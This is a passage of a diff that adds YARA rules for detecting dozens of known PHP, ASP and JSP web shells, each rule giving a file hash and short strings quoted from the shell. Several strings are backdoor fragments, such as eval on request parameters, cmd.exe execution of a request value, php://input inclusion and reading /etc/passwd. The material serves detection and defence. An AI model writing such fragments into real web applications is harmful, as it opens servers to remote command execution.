+		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		all of them
+}
+rule webshell_php_dodo_zip {
+	meta:
+		description = "Web Shell - file zip.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7800364374077ce8864796240162ad5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
+		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+	condition:
+		all of them
+}
+rule webshell_aZRaiLPhp_v1_0 {
+	meta:
+		description = "Web Shell - file aZRaiLPhp v1.0.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "26b2d3943395682e36da06ed493a3715"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
+		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"
+	condition:
+		all of them
+}
+rule webshell_php_list {
+	meta:
+		description = "Web Shell - file list.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "922b128ddd90e1dc2f73088956c548ed"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "// list.php = Directory & File Listing" fullword
+		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
+		$s9 = "// by: The Dark Raver" fullword
+	condition:
+		1 of them
+}
+rule webshell_ironshell {
+	meta:
+		description = "Web Shell - file ironshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
+		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"
+	condition:
+		all of them
+}
+rule webshell_ASP_aspydrv {
+	meta:
+		description = "Web Shell - file aspydrv.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "de0a58f7d1e200d0b2c801a94ebce330"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"
+	condition:
+		all of them
+}
+rule webshell_jsp_web {
+	meta:
+		description = "Web Shell - file web.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."
+	condition:
+		all of them
+}
+rule webshell_mysqlwebsh {
+	meta:
+		description = "Web Shell - file mysqlwebsh.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "babfa76d11943a22484b3837f105fada"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"
+	condition:
+		all of them
+}
+rule webshell_jspShell {
+	meta:
+		description = "Web Shell - file jspShell.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
+		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"
+	condition:
+		all of them
+}
+rule webshell_Dx_Dx {
+	meta:
+		description = "Web Shell - file Dx.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s9 = "class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule webshell_asp_ntdaddy {
+	meta:
+		description = "Web Shell - file ntdaddy.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 =  "if  FP  =  \"RefreshFolder\"  or  "
+		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "
+	condition:
+		1 of them
+}
+rule webshell_MySQL_Web_Interface_Version_0_8 {
+	meta:
+		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"
+	condition:
+		all of them
+}
+rule webshell_elmaliseker_2 {
+	meta:
+		description = "Web Shell - file elmaliseker.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
+		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"
+	condition:
+		all of them
+}
+rule webshell_ASP_RemExp {
+	meta:
+		description = "Web Shell - file RemExp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
+		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"
+	condition:
+		all of them
+}
+rule webshell_jsp_list1 {
+	meta:
+		description = "Web Shell - file list1.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
+		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""
+	condition:
+		all of them
+}
+rule webshell_phpkit_1_0_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "include('php://input');" fullword
+		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
+		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_123 {
+	meta:
+		description = "Web Shell - file 123.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "c691f53e849676cac68a38d692467641"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
+		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_1 {
+	meta:
+		description = "Web Shell - file 1.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "8991148adf5de3b8322ec5d78cb01bdb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
+		$s8 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_tool {
+	meta:
+		description = "Web Shell - file tool.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "4ab68d38527d5834e9c1ff64407b34fb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
+		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
+		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"
+	condition:
+		2 of them
+}
+rule webshell_cmd_win32 {
+	meta:
+		description = "Web Shell - file cmd_win32.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
+		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_jshell {
+	meta:
+		description = "Web Shell - file jshell.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "124b22f38aaaf064cef14711b2602c06"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "kXpeW[\"" fullword
+		$s4 = "[7b:g0W@W<" fullword
+		$s5 = "b:gHr,g<" fullword
+		$s8 = "RhV0W@W<" fullword
+		$s9 = "S_MR(u7b" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_zehir4 {
+	meta:
+		description = "Web Shell - file zehir4.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "7f4e12e159360743ec016273c3b9108c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"
+	condition:
+		all of them
+}
+rule webshell_wsb_idc {
+	meta:
+		description = "Web Shell - file idc.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "7c5b1b30196c51f1accbffb80296395f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
+		$s3 = "{eval($_GET['idc']);}" fullword
+	condition:
+		1 of them
+}
+rule webshell_cpg_143_incl_xpl {
+	meta:
+		description = "Web Shell - file cpg_143_incl_xpl.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5937b131b67d8e0afdbd589251a5e176"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
+		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"
+	condition:
+		1 of them
+}
+rule webshell_mumaasp_com {
+	meta:
+		description = "Web Shell - file mumaasp.com.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"
+	condition:
+		all of them
+}
+rule webshell_php_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "ced050df5ca42064056a7ad610a191b3"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$pass = md5(md5(md5($pass)));" fullword
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay_x {
+	meta:
+		description = "Web Shell - file webshell-cnseay-x.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"
+	condition:
+		all of them
+}
+rule webshell_asp_up {
+	meta:
+		description = "Web Shell - file up.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "f775e721cfe85019fe41c34f47c0d67c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
+		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword
+	condition:
+		1 of them
+}
+rule webshell_phpkit_0_1a_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "3c30399e7480c09276f412271f60ed01"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "include('php://input');" fullword
+		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+		$s4 = "// uses include('php://input') to execute arbritary code" fullword
+		$s5 = "// php://input based backdoor" fullword
+	condition:
+		2 of them
+}
+rule webshell_ASP_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "97af88b478422067f23b001dd06d56a9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_Shell_x3 {
+	meta:
+		description = "Web Shell - file PHP Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("
+	condition:
+		2 of them
+}
+rule webshell_PHP_g00nv13 {
+	meta:
+		description = "Web Shell - file g00nv13.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "35ad2533192fe8a1a76c3276140db820"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
+		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"
+	condition:
+		all of them
+}
+rule webshell_php_h6ss {
+	meta:
+		description = "Web Shell - file h6ss.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "272dde9a4a7265d6c139287560328cd5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php eval(gzuncompress(base64_decode(\""
+	condition:
+		all of them
+}
+rule webshell_jsp_zx {
+	meta:
+		description = "Web Shell - file zx.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "67627c264db1e54a4720bd6a64721674"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"
+	condition:
+		all of them
+}
+rule webshell_Ani_Shell {
+	meta:
+		description = "Web Shell - file Ani-Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "889bfc9fbb8ee7832044fc575324d01a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$Python_CODE = \"I"
+		$s6 = "$passwordPrompt = \"\\n================================================="
+		$s7 = "fputs ($sockfd ,\"\\n==============================================="
+	condition:
+		1 of them
+}
+rule webshell_jsp_k8cmd {
+	meta:
+		description = "Web Shell - file k8cmd.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b39544415e692a567455ff033a97a682"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword
+	condition:
+		all of them
+}
+
+rule webshell_jsp_cmd {
+	meta:
+		description = "Web Shell - file cmd.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5391c4a8af1ede757ba9d28865e75853"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword
+	condition:
+		all of them
+}
+
+rule webshell_jsp_k81 {
+	meta:
+		description = "Web Shell - file k81.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "41efc5c71b6885add9c1d516371bd6af"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
+		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword
+	condition:
+		1 of them
+}
+rule webshell_ASP_zehir {
+	meta:
+		description = "Web Shell - file zehir.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "0061d800aee63ccaf41d2d62ec15985d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"
+	condition:
+		all of them
+}
+rule webshell_Worse_Linux_Shell_1 {
+	meta:
+		description = "Web Shell - file Worse Linux Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		old_rule_name = "webshell_Worse_Linux_Shell"
+		score = 70
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"
+	condition:
+		all of them
+}
+rule webshell_zacosmall {
+	meta:
+		description = "Web Shell - file zacosmall.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"
+	condition:
+		all of them
+}
+rule webshell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit {
+	meta:
+		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		all of them
+}
+rule webshell_redirect {
+	meta:
+		description = "Web Shell - file redirect.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "97da83c6e3efbba98df270cc70beb8f8"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b815611cc39f17f05a73444d699341d4"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_Java_Shell {
+	meta:
+		description = "Web Shell - file Java Shell.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
+		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword
+	condition:
+		1 of them
+}
+rule webshell_asp_1d {
+	meta:
+		description = "Web Shell - file 1d.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "fad7504ca8a55d4453e552621f81563c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"
+	condition:
+		all of them
+}
+rule webshell_jsp_IXRbE {
+	meta:
+		description = "Web Shell - file IXRbE.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+	condition:
+		all of them
+}
+rule webshell_PHP_G5 {
+	meta:
+		description = "Web Shell - file G5.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "95b4a56140a650c74ed2ec36f08d757f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"
+	condition:
+		all of them
+}
+rule webshell_PHP_r57142 {
+	meta:
+		description = "Web Shell - file r57142.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_tree {
+	meta:
+		description = "Web Shell - file tree.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
+		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"
+	condition:
+		all of them
+}
+rule webshell_C99madShell_v_3_0_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "74e1e7c7a6798f1663efb42882b85bee"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
